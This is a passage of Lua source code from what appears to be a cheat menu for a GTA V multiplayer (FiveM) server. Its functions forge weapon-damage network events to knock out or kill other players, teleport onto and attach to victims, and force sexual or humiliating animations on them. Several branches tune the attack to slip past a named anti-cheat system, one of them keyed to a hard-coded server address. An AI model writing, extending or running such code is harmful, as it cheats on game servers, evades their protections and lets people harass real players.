playerPed then menu.utils.notify("You cannot use Knockout on yourself.", "error", 2000) return end if wasInvisible then menu.utils.hookVisible(false) end if wasNoclipInvisible then menu.utils.pauseNoclipGhost() end targetPed = getTargetPed() if not targetPed then menu.utils.notify("Selected target could not be found.", "error", 2000) if wasInvisible then menu.utils.hookVisible(true) end if wasNoclipInvisible then menu.utils.resumeNoclipGhost() end return end attachToTarget(playerPed, targetPed) Wait(150) local function hitTarget(damage) targetPed = getTargetPed() if targetPed and not IsEntityDead(targetPed) and Ham and Ham.sendWeaponDamageEvent then local networkId = NetworkGetNetworkIdFromEntity(targetPed) if networkId and networkId ~= 0 then local boneCoords = GetPedBoneCoords(targetPed, 24818, 0.0, 0.0, 0.0) local localPos = GetOffsetFromEntityGivenWorldCoords(targetPed, boneCoords.x, boneCoords.y, boneCoords.z) local distance = #(GetEntityCoords(playerPed) - GetEntityCoords(targetPed)) Ham.sendWeaponDamageEvent(serverId, { weaponHash = 4194021054, damage = damage, damageType = 3, hitGlobalId = networkId, hitComponent = 10, overrideDamage = true, damageFlags = 522, actionResultName = 2661951225, actionResultId = 32769, f104 = GetHashKey("ACT_hitby_takedown_rear_bat"), isNetTargetPos = true, localPosX = localPos.x, localPosY = localPos.y, localPosZ = localPos.z, f112Data = distance, willKill = false, f133 = false, hasImpactDir = false, hitEntityWeapon = false, hitWeaponAmmoAttachment = false, silenced = false }) end end end hitTarget(0) Wait(1000) local damages = { 20, 30, 30, 30, 30, 30, 30 } for index, damage in ipairs(damages) do targetPed = getTargetPed() if not targetPed or IsEntityDead(targetPed) then break end hitTarget(damage) if index < #damages then Wait(100) end end Wait(150) targetPed = getTargetPed() if targetPed and DoesEntityExist(targetPed) then DetachEntity(targetPed, true, true) FreezeEntityPosition(targetPed, false) end Wait(100) playerPed = PlayerPedId() if wasInvisible then menu.utils.hookVisible(true) end if wasNoclipInvisible then menu.utils.resumeNoclipGhost() end end) end function assembledMenuFunctions.knockoutBitePlayer(option) CreateThread(function() if not option or not option.targetInfo then return end if menu.utils.isTargetFriend(option.targetInfo) then menu.utils.notify("Action blocked: target is on your friend list.", "info", 2000) return end local serverId = tonumber(option.targetInfo.serverId) if not serverId or serverId <= 0 then return end local function getTargetPed() local playerId = GetPlayerFromServerId(serverId) if not playerId or playerId == -1 then return nil end local targetPed = GetPlayerPed(playerId) if not targetPed or targetPed == 0 or not DoesEntityExist(targetPed) then return nil end return targetPed end local function positionTarget(entity, targetEntity) if not entity or entity == 0 or not DoesEntityExist(entity) then return end if not targetEntity or targetEntity == 0 or not DoesEntityExist(targetEntity) then return end local coords = GetEntityCoords(entity) local forward = GetEntityForwardVector(entity) local targetCoords = vector3(coords.x + forward.x * 0.4, coords.y + forward.y * 0.4, coords.z) SetEntityHeading(targetEntity, GetEntityHeading(entity)) FreezeEntityPosition(targetEntity, true) SetEntityCoords( targetEntity, targetCoords.x, targetCoords.y, coords.z - 0.96, false, false, false, false ) end local function captureAppearance(entity) if not entity or entity == 0 or not DoesEntityExist(entity) then return nil end local success, first, second, third, fourth, fifth, sixth, seventh, eighth, ninth = GetPedHeadBlendData(entity) local appearance = { model = GetEntityModel(entity), headBlend = { first or 0, second or 0, third or 0, fourth or 0, fifth or 0, sixth or 0, seventh or 0.5, eighth or 0.5, ninth or 0.0 }, components = {}, props = {}, overlays = {}, faceFeatures = {}, hairColor = { GetPedHairColor(entity), GetPedHairHighlightColor(entity) }, eyeColor = GetPedEyeColor(entity) } for component = 0, 11, 1 do appearance.components[component] = { GetPedDrawableVariation(entity, component), GetPedTextureVariation(entity, component), GetPedPaletteVariation(entity, component) } end for prop = 0, 7, 1 do appearance.props[prop] = { GetPedPropIndex(entity, prop), GetPedPropTextureIndex(entity, prop) } end for overlay = 0, 12, 1 do if GetPedHeadOverlayData then local overlaySuccess, value, colorType, firstColor, secondColor, opacity = GetPedHeadOverlayData(entity, overlay) if overlaySuccess then appearance.overlays[overlay] = { value, colorType, firstColor, secondColor, opacity } else appearance.overlays[overlay] = { GetPedHeadOverlayValue(entity, overlay) } end else appearance.overlays[overlay] = { GetPedHeadOverlayValue(entity, overlay) } end end for feature = 0, 19, 1 do appearance.faceFeatures[feature] = GetPedFaceFeature(entity, feature) end return appearance end local function applyAppearance(appearance) if not appearance then return end SetPedDefaultComponentVariation(PlayerPedId()) SetPedHeadBlendData(PlayerPedId(), 0, 0, 0, 0, 0, 0, 0.0, 0.0, 0.0, true) Wait(0) local playerPed = PlayerPedId() if appearance.headBlend then local blend = appearance.headBlend SetPedHeadBlendData( playerPed, blend[1], blend[2], blend[3], blend[4], blend[5], blend[6], blend[7], blend[8], blend[9], true ) end for component, values in pairs(appearance.components) do SetPedComponentVariation(playerPed, component, values[1], values[2], values[3]) end for prop, values in pairs(appearance.props) do if values[1] == -1 then ClearPedProp(playerPed, prop) else SetPedPropIndex(playerPed, prop, values[1], values[2], true) end end if appearance.hairColor then SetPedHairColor(playerPed, appearance.hairColor[1] or 0, appearance.hairColor[2] or 0) end if appearance.eyeColor then SetPedEyeColor(playerPed, appearance.eyeColor) end for overlay, values in pairs(appearance.overlays or {}) do if GetPedHeadOverlayData and #values >= 5 then if values[1] ~= 255 then SetPedHeadOverlay(playerPed, overlay, values[1], values[5] or 1.0) SetPedHeadOverlayColor(playerPed, overlay, values[2] or 0, values[3] or 0, values[4] or 0) else SetPedHeadOverlay(playerPed, overlay, 255, 0.0) end elseif values[1] and values[1] ~= 255 then SetPedHeadOverlay(playerPed, overlay, values[1], 1.0) end end for feature, value in pairs(appearance.faceFeatures or {}) do SetPedFaceFeature(playerPed, feature, value) end end local playerPed = PlayerPedId() local originalCoords = GetEntityCoords(playerPed) local originalHeading = GetEntityHeading(playerPed) local appearance = captureAppearance(playerPed) local weapons = menu.utils.savePlayerWeapons() local vehicle = menu.utils.savePlayerVehicle() local wasInvisible = menu.vars.bools and menu.vars.bools.invisibility local wasNoclipInvisible = menu.vars.bools and menu.vars.bools.noclipInvis local targetPed = getTargetPed() if not targetPed then menu.utils.notify("Selected target could not be found.", "error", 2000) return end if IsPedInAnyVehicle(targetPed, false) then menu.utils.notify("This action cannot be performed while the target is in a vehicle.", "error", 2000) return end if targetPed == playerPed then menu.utils.notify("You cannot use Bite Player on yourself.", "error", 2000) return end local targetCoords = GetEntityCoords(targetPed) local distance = #(originalCoords - targetCoords) if wasInvisible then menu.utils.hookVisible(false) end if wasNoclipInvisible then menu.utils.pauseNoclipGhost() end if 90.0 < distance then local deltaX = originalCoords.x - targetCoords.x local deltaY = originalCoords.y - targetCoords.y local planarDistance = math.sqrt(deltaX * deltaX + deltaY * deltaY) if planarDistance < 0.001 then planarDistance = 1.0 deltaX = 0.0 deltaY = 1.0 end local scale = 90.0 / planarDistance local approachCoords = vector3(targetCoords.x + deltaX * scale, targetCoords.y + deltaY * scale, originalCoords.z) local heading = GetHeadingFromVector_2d(targetCoords.x - approachCoords.x, targetCoords.y - approachCoords.y) SetEntityCoordsNoOffset( playerPed, approachCoords.x, approachCoords.y, approachCoords.z + 0.05, false, false, false ) SetEntityHeading(playerPed, heading) playerPed = PlayerPedId() end targetPed = getTargetPed() if not targetPed then menu.utils.notify("Selected target could not be found.", "error", 2000) if wasInvisible then menu.utils.hookVisible(true) end if wasNoclipInvisible then menu.utils.resumeNoclipGhost() end return end positionTarget(playerPed, targetPed) Wait(150) local dogModel = GetHashKey("a_c_mtlion_02") RequestModel(dogModel) local timeout = GetGameTimer() + 5000 while not HasModelLoaded(dogModel) and timeout > GetGameTimer() do Wait(0) end if not HasModelLoaded(dogModel) then FreezeEntityPosition(targetPed, false) menu.utils.notify("Failed to load the dog model.", "error", 2000) if wasInvisible then menu.utils.hookVisible(true) end if wasNoclipInvisible then menu.utils.resumeNoclipGhost() end return end SetPlayerModel(PlayerId(), dogModel) SetModelAsNoLongerNeeded(dogModel) playerPed = PlayerPedId() local endTime = GetGameTimer() + 2000 Ham.sendMouseButtonEvent(0, "down") while endTime >= GetGameTimer() do playerPed = PlayerPedId() targetPed = getTargetPed() if not targetPed then break end positionTarget(playerPed, targetPed) Ham.sendMouseButtonEvent(0, "click") Wait(0) end Ham.sendMouseButtonEvent(0, "up") targetPed = getTargetPed() if targetPed and DoesEntityExist(targetPed) then SetEntityCoordsNoOffset(targetPed, targetCoords.x, targetCoords.y, targetCoords.z, false, false, false) FreezeEntityPosition(targetPed, false) end Wait(150) local originalModel = appearance and appearance.model or GetHashKey("mp_m_freemode_01") RequestModel(originalModel) timeout = GetGameTimer() + 5000 while not HasModelLoaded(originalModel) and timeout > GetGameTimer() do Wait(0) end if HasModelLoaded(originalModel) then SetPlayerModel(PlayerId(), originalModel) SetModelAsNoLongerNeeded(originalModel) end Wait(100) playerPed = PlayerPedId() SetEntityCoordsNoOffset( playerPed, originalCoords.x, originalCoords.y, originalCoords.z, false, false, false ) SetEntityHeading(playerPed, originalHeading) SetEntityVisible(playerPed, true, false) applyAppearance(appearance) menu.utils.restorePlayerWeapons(weapons) menu.utils.restorePlayerVehicle(vehicle) if wasInvisible then menu.utils.hookVisible(true) end if wasNoclipInvisible then menu.utils.resumeNoclipGhost() end end) end function assembledMenuFunctions.killPlayer(option) CreateThread(function() if not option or not option.targetInfo then return end if menu.utils.isTargetFriend(option.targetInfo) then menu.utils.notify("Blocked: target is a friend.", "info", 2000) return end local serverId = tonumber(option.targetInfo.serverId) if not serverId or serverId <= 0 then return end local weaponNames = { Fist = "WEAPON_UNARMED", ["Pistol .50"] = "WEAPON_PISTOL50", SMG = "WEAPON_SMG", ["Micro SMG"] = "WEAPON_MICROSMG", ["Assault Rifle"] = "WEAPON_ASSAULTRIFLE", ["Carbine Rifle"] = "WEAPON_CARBINERIFLE", Shotgun = "WEAPON_PUMPSHOTGUN", Sniper = "WEAPON_SNIPERRIFLE", ["Heavy Sniper"] = "WEAPON_HEAVYSNIPER" } local weaponName = weaponNames[option.selectedValue or "Fist"] or "WEAPON_UNARMED" local weaponHash = GetHashKey(weaponName) local playerPed = PlayerPedId() local unarmed = weaponName == "WEAPON_UNARMED" local selectedWeapon = GetSelectedPedWeapon(playerPed) local gaveWeapon = false local electronAC = menu.vars.antiCheats.ElectronAC ~= nil local batHash = GetHashKey("WEAPON_BAT") local endpoint = Ham and Ham.getServerEndpoint and Ham.getServerEndpoint() or "" local specialElectron = electronAC and endpoint == "194.48.217.183" if specialElectron then weaponHash = batHash if not HasPedGotWeapon(playerPed, batHash, false) then GiveWeaponToPed(playerPed, batHash, 1, false, true) gaveWeapon = true else SetCurrentPedWeapon(playerPed, batHash, true) end Wait(100) elseif not unarmed then if not HasPedGotWeapon(playerPed, weaponHash, false) then GiveWeaponToPed(playerPed, weaponHash, 250, false, false) gaveWeapon = true end SetCurrentPedWeapon(playerPed, weaponHash, true) Wait(100) end local hitCount = unarmed and 10 or 10 local damage = unarmed and 50 or 520 local hitComponent = unarmed and 3 or 1 local hitDelay = unarmed and 100 or 50 if electronAC then hitComponent = 0 hitCount = 2 damage = 100 weaponHash = batHash end for _ = 1, hitCount, 1 do playerPed = PlayerPedId() local targetPed = GetPlayerPed(GetPlayerFromServerId(serverId)) if not targetPed or not DoesEntityExist(targetPed) or IsEntityDead(targetPed) then break end local distance = #(GetEntityCoords(playerPed) - GetEntityCoords(targetPed)) local willKill = damage >= GetEntityHealth(targetPed) Ham.sendWeaponDamageEvent(serverId, { weaponHash = weaponHash, damage = damage, damageType = 3, hitGlobalId = 0, parentGlobalId = 0, hitComponent = hitComponent, overrideDamage = true, damageTime = GetNetworkTimeAccurate(), f133 = true, isNetTargetPos = true, damageFlags = 517, f112Data = distance, willKill = willKill }) Wait(hitDelay) end if not specialElectron and unarmed then return end playerPed = PlayerPedId() local grantedWeapon = specialElectron and batHash or weaponHash if gaveWeapon and playerPed ~= 0 then RemoveWeaponFromPed(playerPed, grantedWeapon) end if selectedWeapon and selectedWeapon ~= 0 and HasPedGotWeapon(playerPed, selectedWeapon, false) then SetCurrentPedWeapon(playerPed, selectedWeapon, true) return end SetCurrentPedWeapon(playerPed, GetHashKey("WEAPON_UNARMED"), true) end) end function assembledMenuFunctions.runStyleAttachKillPlayer(option, style, actionName, config) config = config or {} local skipReturn = config.skipReturn == true local forceTeleport = config.forceTeleportToTarget == true local suppressNotify = config.suppressNotify == true local cancelCheck = config.cancelCheck local function isCancelled() if cancelCheck then return cancelCheck() == true end return cancelCheck end if not option or not option.targetInfo then return false end if menu.utils.isTargetFriend(option.targetInfo) then if not suppressNotify then menu.utils.notify("Blocked: target is a friend.", "info", 2000) end return false end local serverId = tonumber(option.targetInfo.serverId) if not serverId or serverId <= 0 then return false end local function getTargetPed() local playerId = GetPlayerFromServerId(serverId) if not playerId or playerId == -1 then return nil end local targetPed = GetPlayerPed(playerId) if not targetPed or targetPed == 0 or not DoesEntityExist(targetPed) then return nil end if IsPedDeadOrDying(targetPed, true) or IsEntityDead(targetPed) then return nil end return targetPed end local playerPed = PlayerPedId() local originalCoords = GetEntityCoords(playerPed) local originalHeading = GetEntityHeading(playerPed) local wasInvisible = menu.vars.bools and menu.vars.bools.invisibility local wasNoclipInvisible = menu.vars.bools and menu.vars.bools.noclipInvis local targetPed = getTargetPed() if not targetPed then if not suppressNotify then menu.utils.notify("Selected target could not be found.", "error", 2000) end return false end if targetPed == playerPed then if not suppressNotify then menu.utils.notify("You cannot use " .. actionName .. " on yourself.", "error", 2000) end return false end if IsPedInAnyVehicle(playerPed, false) or IsPedInAnyVehicle(targetPed, false) then if not suppressNotify then menu.utils.notify("Cannot use " .. actionName .. " while in a vehicle.", "error", 2000) end return false end local distance = #(originalCoords - GetEntityCoords(targetPed)) local targetCoords = GetEntityCoords(targetPed) if wasInvisible then menu.utils.hookVisible(false) end if wasNoclipInvisible then menu.utils.pauseNoclipGhost() end if forceTeleport then targetPed = getTargetPed() if not targetPed then if wasInvisible then menu.utils.hookVisible(true) end if wasNoclipInvisible then menu.utils.resumeNoclipGhost() end return false end local targetHeading = GetEntityHeading(targetPed) local offsetY = style.offset and style.offset.y or 1.0 local headingRad = math.rad(targetHeading) targetCoords = GetEntityCoords(targetPed) local approachCoords = vector3( targetCoords.x - math.sin(headingRad) * offsetY, targetCoords.y + math.cos(headingRad) * offsetY, targetCoords.z + 0.05 ) SetEntityCoordsNoOffset( playerPed, approachCoords.x, approachCoords.y, approachCoords.z, false, false, false ) SetEntityHeading(playerPed, targetHeading) playerPed = PlayerPedId() elseif 90.0 < distance then local deltaX = originalCoords.x - targetCoords.x local deltaY = originalCoords.y - targetCoords.y local planarDistance = math.sqrt(deltaX * deltaX + deltaY * deltaY) if planarDistance < 0.001 then planarDistance = 1.0 deltaX = 0.0 deltaY = 1.0 end local scale = 90.0 / planarDistance local approachCoords = vector3(targetCoords.x + deltaX * scale, targetCoords.y + deltaY * scale, originalCoords.z) local heading = GetHeadingFromVector_2d(targetCoords.x - approachCoords.x, targetCoords.y - approachCoords.y) SetEntityCoordsNoOffset( playerPed, approachCoords.x, approachCoords.y, approachCoords.z + 0.05, false, false, false ) SetEntityHeading(playerPed, heading) playerPed = PlayerPedId() end targetPed = getTargetPed() if not targetPed then if not suppressNotify then menu.utils.notify("Selected target could not be found.", "error", 2000) end if wasInvisible then menu.utils.hookVisible(true) end if wasNoclipInvisible then menu.utils.resumeNoclipGhost() end return false end if not HasAnimDictLoaded(style.dict) then RequestAnimDict(style.dict) local timeout = GetGameTimer() + 5000 while not HasAnimDictLoaded(style.dict) and timeout > GetGameTimer() do Wait(10) end end if HasAnimDictLoaded(style.dict) then SetEntityCollision(playerPed, false, false) local function attachAndAnimate() playerPed = PlayerPedId() targetPed = getTargetPed() if not targetPed or not DoesEntityExist(targetPed) then return false end if style.useHeadSit then local headCoords = GetPedBoneCoords(targetPed, 31086, 0.0, 0.0, 0.0) local targetHeading = GetEntityHeading(targetPed) SetEntityCoordsNoOffset( playerPed, headCoords.x, headCoords.y, headCoords.z + (style.headOffsetZ or 0.04), false, false, false ) SetEntityRotation(playerPed, 0.0, 0.0, targetHeading + (style.headingOffset or 0.0), 2, true) else AttachEntityToEntity( playerPed, targetPed, 0, style.offset.x, style.offset.y, style.offset.z, style.rotation.x, style.rotation.y, style.rotation.z, false, false, false, true, 2, true ) end if not IsEntityPlayingAnim(playerPed, style.dict, style.anim, 3) then TaskPlayAnim( playerPed, style.dict, style.anim, 8.0, -8.0, -1, style.flag or 1, 0.0, false, false, false ) end return true end if style.attachDuration then local attachEnd = GetGameTimer() + style.attachDuration while attachEnd > GetGameTimer() and not isCancelled() and attachAndAnimate() do Wait(50) end end if not attachAndAnimate() then DetachEntity(playerPed, true, true) SetEntityCollision(playerPed, true, true) ClearPedTasks(playerPed) if wasInvisible then menu.utils.hookVisible(true) end if wasNoclipInvisible then menu.utils.resumeNoclipGhost() end return false end local endTime = GetGameTimer() + 4000 local hitTime = style.hitTime or 0.35 local hitTriggered = false while endTime > GetGameTimer() and not isCancelled() do playerPed = PlayerPedId() targetPed = getTargetPed() if not targetPed or not DoesEntityExist(targetPed) then break end attachAndAnimate() if IsEntityPlayingAnim(playerPed, style.dict, style.anim, 3) then if hitTime <= GetEntityAnimCurrentTime(playerPed, style.dict, style.anim) then hitTriggered = true break end else hitTriggered = true break end Wait(0) end if not hitTriggered then hitTriggered = true end DetachEntity(playerPed, true, true) SetEntityCollision(playerPed, true, true) if isCancelled() then ClearPedTasksImmediately(playerPed) else ClearPedTasks(playerPed) end Wait(100) end if not isCancelled() then if config.afterAttachFn then config.afterAttachFn(serverId) elseif not config.skipKill then local electronAC = menu.vars.antiCheats.ElectronAC ~= nil local weaponHash = electronAC and GetHashKey("WEAPON_BAT") or GetHashKey("WEAPON_UNARMED") local hitCount = electronAC and 2 or 10 local damage = electronAC and 100 or 50 local hitComponent = electronAC and 0 or 3 local hitDelay = 100 for _ = 1, hitCount, 1 do if isCancelled() then break end playerPed = PlayerPedId() targetPed = getTargetPed() if not targetPed or not DoesEntityExist(targetPed) or IsEntityDead(targetPed) then break end local hitDistance = #(GetEntityCoords(playerPed) - GetEntityCoords(targetPed)) local willKill = damage >= GetEntityHealth(targetPed) Ham.sendWeaponDamageEvent(serverId, { weaponHash = weaponHash, damage = damage, damageType = 3, hitGlobalId = 0, parentGlobalId = 0, hitComponent = hitComponent, overrideDamage = true, damageTime = GetNetworkTimeAccurate(), f133 = true, isNetTargetPos = true, damageFlags = 517, f112Data = hitDistance, willKill = willKill }) Wait(hitDelay) end end end if not skipReturn then playerPed = PlayerPedId() SetEntityCoordsNoOffset( playerPed, originalCoords.x, originalCoords.y, originalCoords.z, false, false, false ) SetEntityHeading(playerPed, originalHeading) end if wasInvisible then menu.utils.hookVisible(true) end if wasNoclipInvisible then menu.utils.resumeNoclipGhost() end return true end function assembledMenuFunctions.styleAttachKillPlayer(option, style, actionName, config) CreateThread(function() menu.functions.runStyleAttachKillPlayer(option, style, actionName, config) end) end function assembledMenuFunctions.getBlameStyleDefinitions() return { { dict = "timetable@trevor@skull_loving_bear", anim = "skull_loving_bear", offset = vector3(0.0, -0.5, 0.0), rotation = vector3(0.0, 0.0, 0.0), flag = 1 }, { dict = "anim@mp_player_intcelebrationfemale@air_shagging", anim = "air_shagging", offset = vector3(0.0, 0.5, 0.0), rotation = vector3(0.0, 0.0, 180.0), flag = 1 }, { dict = "switch@trevor@mocks_lapdance", anim = "001443_01_trvs_28_idle_stripper", offset = vector3(0.0, 0.52, 0.0), rotation = vector3(0.0, 0.0, 0.0), flag = 1 }, { dict = "misscarsteal2pimpsex", anim = "pimpsex_hooker", offset = vector3(0.0, 0.58, -0.2), rotation = vector3(0.0, 0.0, 180.0), flag = 1 }, { dict = "rcmpaparazzo_2", anim = "shag_loop_a", offset = vector3(0.0, -0.54, 0.0), rotation = vector3(0.0, 0.0, 0.0), flag = 1 }, { dict = "anim@mp_player_intupperwank", anim = "idle_a", offset = vector3(0.0, 1.5, 0.0), rotation = vector3(0.0, 0.0, 180.0), flag = 51 }, { dict = "mp_player_intwank", anim = "mp_player_int_wank", offset = vector3(0.0, 1.5, 0.0), rotation = vector3(0.0, 0.0, 180.0), flag = 1 }, { dict = "anim@arena@celeb@flat@solo@no_props@", anim = "piggyback_c_player_b", offset = vector3(0.0, -0.28, 0.42), rotation = vector3(0.0, 0.0, 0.0), flag = 1 }, { dict = "mp_ped_interaction", anim = "hugs_guy_a", offset = vector3(0.0, 0.85, 0.0), rotation = vector3(0.0, 0.0, 180.0), flag = 1 }, { dict = "rcmepsilonism3", anim = "ep_3_rcm_marnie_meditating", useHeadSit = true, headOffsetZ = 0.12, headingOffset = 0.0, flag = 1 }, { dict = "hs3_ext-20", anim = "cs_lestercrest_3_dual-20", offset = vector3(0.0, 0.53, 0.0), rotation = vector3(0.0, 0.0, 180.0), flag = 1 }, { dict = "melee@unarmed@streamed_variations", anim = "plyr_takedown_front_slap", offset = vector3(0.0, 1.0, 0.0), rotation = vector3(0.0, 0.0, 180.0), flag = 1 }, { dict = "mp_ped_interaction", anim = "handshake_guy_a", offset = vector3(0.0, 0.9, 0.0), rotation = vector3(0.0, 0.0, 180.0), flag = 1 }, { dict = "mp_ped_interaction", anim = "highfive_guy_a", offset = vector3(0.0, 1.0, 0.0), rotation = vector3(0.0, 0.0, 180.0), flag = 1 }, { dict = "mp_ped_interaction", anim = "hugs_guy_b", offset = vector3(0.0, 1.14, 0.0), rotation = vector3(0.0, 0.0, 180.0), flag = 1 }, { dict = "mp_safehouse", anim = "lap_dance_girl", offset = vector3(0.0, 0.45, 0.0), rotation = vector3(0.0, 0.0, 180.0), flag = 1 }, { dict = "anim@amb@nightclub@lazlow@hi_railing@", anim = "ambclub_13_mi_hi_sexualgriding_laz", offset = vector3(0.0, 0.5, 0.0), rotation = vector3(0.0, 0.0, 180.0), flag = 1 }, { dict = "anim@amb@nightclub@lazlow@hi_railing@", anim = "ambclub_12_mi_hi_bootyshake_laz", offset = vector3(0.0, -0.5, 0.0), rotation = vector3(0.0, 0.0, 0.0), flag = 1 }, { dict = "anim@mp_player_intcelebrationfemale@blow_kiss", anim = "blow_kiss", offset = vector3(0.0, 1.0, 0.0), rotation = vector3(0.0, 0.0, 180.0), flag = 1 }, { dict = "melee@unarmed@streamed_variations", anim = "plyr_takedown_front_backslap", offset = vector3(0.0, 1.0, 0.0), rotation = vector3(0.0, 0.0, 180.0), flag = 1 }, { dict = "mini@strip_club@private_dance@part2", anim = "priv_dance_p2", offset = vector3(0.0, 0.6, 0.0), rotation = vector3(0.0, 0.0, 180.0), flag = 1 }, { dict = "random@street_race", anim = "_car_a_flirt_girl", offset = vector3(0.0, 0.8, 0.0), rotation = vector3(0.0, 0.0, 180.0), flag = 1 }, { dict = "switch@trevor@jerking_off", anim = "trev_jerking_off_loop", offset = vector3(0.0, 1.5, 0.0), rotation = vector3(0.0, 0.0, 180.0), flag = 51 }, { dict = "mp_common", anim = "givetake1_a", offset = vector3(0.0, 0.85, 0.0), rotation = vector3(0.0, 0.0, 180.0), flag = 1 }, { dict = "anim@mp_player_intcelebrationpaired@f_f_fist_bump", anim = "fist_bump_left", offset = vector3(0.0, 0.9, 0.0), rotation = vector3(0.0, 0.0, 180.0), flag = 1 } } end function assembledMenuFunctions.getBlameStyleByIndex(index) local styles = menu.functions.getBlameStyleDefinitions() return styles[index] or styles[1] end function assembledMenuFunctions.getBlameKillStyleDefinitions() return { { dict = "rcmpaparazzo_2", anim = "shag_loop_a", offset = vector3(0.0, -0.54, 0.0), rotation = vector3(0.0, 0.0, 0.0), flag = 1 }, { dict = "melee@unarmed@streamed_variations", anim = "plyr_takedown_front_slap", offset = vector3(0.0, 1.0, 0.0), rotation = vector3(0.0, 0.0, 180.0), flag = 1 } } end function assembledMenuFunctions.getBlameKillStyleByIndex(index) local styles = menu.functions.getBlameKillStyleDefinitions() return styles[index] or styles[1] end function assembledMenuFunctions.buildBlameKillStyle(index) local selectedStyle = menu.functions.getBlameKillStyleByIndex(index) local style = {} for key, value in pairs(selectedStyle) do style[key] = value end if style.anim == "plyr_takedown_front_slap" or style.anim == "plyr_takedown_front_backslap" then style.hitTime = 0.35 else style.attachDuration = 2000 end return style end function assembledMenuFunctions.blameKillPlayer(option) local styleIndex = menu.vars.selectors and menu.vars.selectors.blameKillStyle or 1 if styleIndex < 1 or 2 < styleIndex then styleIndex = 1 end menu.functions.styleAttachKillPlayer(option, menu.functions.buildBlameKillStyle(styleIndex), "Slap") end function assembledMenuFunctions.safeKillPlayer(options) if not Ham or not Ham.sendWeaponDamageEvent then menu.utils.notify("Ham not available", "error", 2000) return end if not options or not options.targetInfo then return end if menu.utils.isTargetFriend(options.targetInfo) then menu.utils.notify("Blocked: target is a friend.", "info", 2000) return end CreateThread(function() local serverId = tonumber(options.targetInfo.serverId) if not serverId or serverId <= 0 then return end if menu.functions.beginTemporaryKillVehicleSpoof then menu.functions.beginTemporaryKillVehicleSpoof() end local weaponHash = 133987706 local boneId = 24818 for _ = 1, 120, 1 do local targetPed = GetPlayerPed(GetPlayerFromServerId(serverId)) if not targetPed or targetPed == 0 or not DoesEntityExist(targetPed) or IsEntityDead(targetPed) or IsPedDeadOrDying(targetPed, true) then break end local damage, willKill = menu.functions.getSafeKillHitDamage(targetPed) if damage <= 0 then break end local networkId = NetworkGetNetworkIdFromEntity(targetPed) if not networkId or networkId == 0 then break end local distance = #(GetEntityCoords(PlayerPedId()) - GetEntityCoords(targetPed)) local boneCoords = GetPedBoneCoords(targetPed, boneId, 0.0, 0.0, 0.0) if not boneCoords or not boneCoords.x then break end local offset = GetOffsetFromEntityGivenWorldCoords(targetPed, boneCoords.x, boneCoords.y, boneCoords.z) if not offset or offset.x == nil or offset.y == nil or offset.z == nil then break end Ham.sendWeaponDamageEvent(serverId, { weaponHash = weaponHash, damage = damage, damageType = 3, hitGlobalId = networkId, hitComponent = 0, overrideDamage = true, damageFlags = 0, actionResultName = 0, actionResultId = 0, f104 = 0, isNetTargetPos = true, localPosX = offset.x, localPosY = offset.y, localPosZ = offset.z, f112Data = distance, willKill = willKill, f133 = false, hasImpactDir = false, hitEntityWeapon = false, hitWeaponAmmoAttachment = false, silenced = false }) Wait(menu.functions.getVariedHamHitDelay(100, 180)) end if menu.functions.endTemporaryKillVehicleSpoofIfOwned then menu.functions.endTemporaryKillVehicleSpoofIfOwned() end end) end function assembledMenuFunctions.slapKillPlayer(option) menu.functions.styleAttachKillPlayer(option, { dict = "melee@unarmed@streamed_variations", anim = "plyr_takedown_front_slap", offset = vector3(0.0, 1.0, 0.0), rotation = vector3(0.0, 0.0, 180.0), flag = 1, hitTime = 0.35 }, "Slap") end function assembledMenuFunctions.getSlapKillStyle() return { dict = "melee@unarmed@streamed_variations", anim = "plyr_takedown_front_slap", offset = vector3(0.0, 1.0, 0.0), rotation = vector3(0.0, 0.0, 180.0), flag = 1, hitTime = 0.35 } end function assembledMenuFunctions.vehicleAttachToPlayer(option) if not option or not option.targetInfo then return end if menu.utils.isTargetFriend(option.targetInfo) then menu.utils.notify("Blocked: target is a friend.", "info", 2000) return end local targetInfo = option.targetInfo local targetPed = targetInfo.getFreshPed and targetInfo.getFreshPed() or targetInfo.ped if not targetPed or not DoesEntityExist(targetPed) then menu.utils.notify("Target not found.", "error", 2000) return end if not menu.utils.isVehicleWhitelisted("sultan") then menu.utils.notify("Vehicle is blacklisted", "error", 2000) return end local safeSpawn = menu.vars.bools.safeVehicleSpawn and 1 or 0 local playerPed = PlayerPedId() local playerCoords = GetEntityCoords(playerPed) local targetCoords = GetEntityCoords(targetPed) local code = string.format( [[ Citizen.CreateThread(function() local playerPed = PlayerPedId() local targetPed = %d local originalX, originalY, originalZ = %.4f, %.4f, %.4f if not DoesEntityExist(targetPed) then return end local targetCoords = GetEntityCoords(targetPed) local vehicleModel = "sultan" local closestDistance = 500.0 local bmxHash = GetHashKey("bmx") local bf400Hash = GetHashKey("bf400") for _, existingVehicle in ipairs(GetGamePool("CVehicle") or {}) do if DoesEntityExist(existingVehicle) then local distance = #(targetCoords - GetEntityCoords(existingVehicle)) if distance <= 500.0 and distance < closestDistance then local nearbyModel = GetEntityModel(existingVehicle) if nearbyModel and nearbyModel ~= 0 and IsThisModelACar(nearbyModel) and not IsThisModelABike(nearbyModel) and nearbyModel ~= bmxHash and nearbyModel ~= bf400Hash then local nearbyModelName = GetDisplayNameFromVehicleModel(nearbyModel) if nearbyModelName and nearbyModelName ~= "" and nearbyModelName ~= "CARNOTFOUND" then vehicleModel = string.lower(nearbyModelName) closestDistance = distance end end end end end local spawnCoords = GetOffsetFromEntityInWorldCoords(playerPed, 3.0, 0.0, 0.0) local spawnedVeh = nil _G.Citizen.Bongs.utils.spawnVehicle(vehicleModel, spawnCoords, GetEntityHeading(playerPed), function(vehicle) if vehicle and DoesEntityExist(vehicle) then spawnedVeh = vehicle end end, %d) local waitCount = 0 while spawnedVeh == nil and waitCount < 100 do Wait(10) waitCount = waitCount + 1 end if not spawnedVeh or not DoesEntityExist(spawnedVeh) then return end Citizen.Wait(50) AttachEntityToEntity(spawnedVeh, playerPed, 0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, false, false, false, false, 2, true) Citizen.Wait(50) targetPed = %d if not DoesEntityExist(targetPed) then DetachEntity(spawnedVeh, true, true) return end local freshCoords = GetEntityCoords(targetPed) SetEntityCoords(PlayerPedId(), freshCoords.x, freshCoords.y, freshCoords.z + 1.0, false, false, false, true) AttachEntityToEntity(PlayerPedId(), targetPed, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, false, false, false, false, 2, true) Citizen.Wait(100) DetachEntity(spawnedVeh, true, true) AttachEntityToEntity(spawnedVeh, targetPed, 0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, true, true, false, true, 1, true) 